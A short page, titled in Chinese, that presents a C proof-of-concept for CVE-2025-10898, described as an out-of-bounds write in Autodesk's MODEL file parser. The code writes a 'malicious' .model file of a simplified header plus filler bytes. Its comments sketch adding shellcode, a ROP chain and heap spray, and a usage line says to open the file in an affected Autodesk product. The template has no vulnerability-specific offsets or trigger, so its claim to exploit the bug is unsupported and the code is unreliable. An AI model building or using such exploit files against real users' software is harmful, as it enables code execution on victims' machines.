CVE-2025-10898: Autodesk产品MODEL文件解析越界写入漏洞

// CVE-2025-10898 PoC - Malicious MODEL File Structure // This PoC demonstrates the structure needed to trigger OOB Write // NOTE: Actual binary payload requires specific offset calculation #include <stdio.h> #include <stdlib.h> #include <string.h> // MODEL file header structure (simplified) typedef struct { char magic[4]; // File signature int version; // File version int data_offset; // Offset to data section int data_length; // Length of data section int payload_size; // Size of malicious payload } MODEL_HEADER; // Function to generate malicious MODEL file unsigned char* generate_malicious_model(int payload_size) { unsigned char* model_file = (unsigned char*)malloc(sizeof(MODEL_HEADER) + payload_size); if (!model_file) return NULL; MODEL_HEADER* header = (MODEL_HEADER*)model_file; // Set file signature memcpy(header->magic, "MODL", 4); header->version = 1; header->data_offset = sizeof(MODEL_HEADER); header->data_length = payload_size; header->payload_size = payload_size; // Fill payload area with controlled data to trigger OOB write unsigned char* payload = model_file + sizeof(MODEL_HEADER); memset(payload, 0x41, payload_size); // Fill with 'A' for testing // In real attack, this would contain: // - Shellcode for arbitrary code execution // - ROP chain for bypassing DEP/ASLR // - Heap spray data for stability return model_file; } int main() { printf("CVE-2025-10898 PoC Generator\n"); printf("Generating malicious MODEL file...\n"); int payload_size = 1024; // Adjust based on target vulnerability unsigned char* malicious_model = generate_malicious_model(payload_size); if (malicious_model) { FILE* fp = fopen("malicious_cve_2025_10898.model", "wb"); if (fp) { fwrite(malicious_model, 1, sizeof(MODEL_HEADER) + payload_size, fp); fclose(fp); printf("Malicious MODEL file created: malicious_cve_2025_10898.model\n"); } free(malicious_model); } return 0; } // Usage: Compile and run, then open the generated .model file in affected Autodesk product // gcc -o poc poc.c && ./poc